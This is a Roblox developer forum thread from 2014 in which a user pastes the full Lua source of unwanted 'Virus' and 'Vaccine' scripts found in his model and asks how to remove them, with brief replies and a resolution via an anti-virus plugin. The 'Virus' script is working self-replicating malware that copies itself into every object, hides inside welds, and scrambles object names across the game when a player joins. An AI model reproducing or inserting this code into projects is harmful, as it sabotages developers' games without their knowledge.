ckhaloguy
|
  |
| Joined: 24 Nov 2010 |
| Total Posts: 27 |
|
|
| 12 Jun 2014 08:06 AM |
Recently I've noticed a few unwanted scripts and joints labelled "Virus" hanging out in my properties window. Knowing that I've just created this model and hadn't put down and scripts or joints I am oddly confused by this.
The Virus scripts look like this...
script.Name = "Virus"
if script.Parent.className ~= "Weld" then w = Instance.new("Weld") w.Name = "Virus" w.Parent = script.Parent script.Parent = w end
function gc(o) for num,obj in ipairs(o:GetChildren()) do if obj.className ~= "Weld" then local string = ""
for a=1,math.random(10,100) do string = string .. string.char(math.random(1,200)) end obj.Name = string
for num2,obj2 in ipairs(obj:GetChildren()) do gc(obj2) end
end end end
function Infect()
gc(workspace) gc(game.StarterPack) gc(game.Lighting)
end
function getchil(object)
local can = 0
if object.Name == "Virus" then if object.className == "Weld" or object.className == "Script" then can = 1 end end
if object:FindFirstChild("Virus") then can = 2 end
if can == 0 then local a = script:clone() a.Disabled = false a.Parent = object end
if can ~= 1 then for num,obj in ipairs(object:GetChildren()) do getchil(obj) end end
for num,obj in ipairs(object:GetChildren()) do getchil(obj) end
end
if workspace:FindFirstChild("Virus") == nil then getchil(workspace) end
infected = false
game.Players.ChildAdded:connect(function(p) if infected == true then return end if p.Name ~= "Player" then Infect(workspace) infected = true end end)
And in addition to that there are also "Vaccine" scripts
function spread() -- created by culinwino3000 local stuff = game.Workspace:GetChildren() for i = 1, #stuff do if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then local clone = script:clone() clone.Parent = stuff[i] end end end
while true do wait(.1) spread() end
function GetAllItems(mdl) local objs = {} function Search(obj) if obj~=workspace then table.insert(objs,obj) end if #obj:GetChildren() > 0 then for i, v in ipairs(obj:GetChildren()) do Search(v) end end end Search(mdl) return objs end
for i, v in ipairs(GetAllItems(workspace)) do if v.className == "Script" then if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then v.Parent = game.Lighting --Just in case it has a removal prevention. t = Instance.new("ObjectValue") t.Name = "IsAVirus" t.Parent = v end end end
for i, v in ipairs(game.Lighting:GetChildren()) do if v:findFirstChild("IsAVirus") then --Only remove the viruses. v:remove() end end
print("Virus debugged! All clean!")
And yes I've seen that name at the top of the script. Knowingly that I've never met the person, nor have I've heard of him/her I'm confused on why this is happening. It's obvious that the initial intent is to "infect" all blocks but how do I get rid of it? |
|
|
| Report Abuse |
|
abxyxbx
|
  |
| Joined: 10 Nov 2007 |
| Total Posts: 1152 |
|
|
| 12 Jun 2014 05:48 PM |
| You could try having someone whip up a script that removes all weld objects from all children of Workspace, that should do it. |
|
|
| Report Abuse |
|
ckhaloguy
|
  |
| Joined: 24 Nov 2010 |
| Total Posts: 27 |
|
|
| 12 Jun 2014 07:10 PM |
| My Issue was resolved by Ro-Defender. At anti-virus plugin. |
|
|
| Report Abuse |
|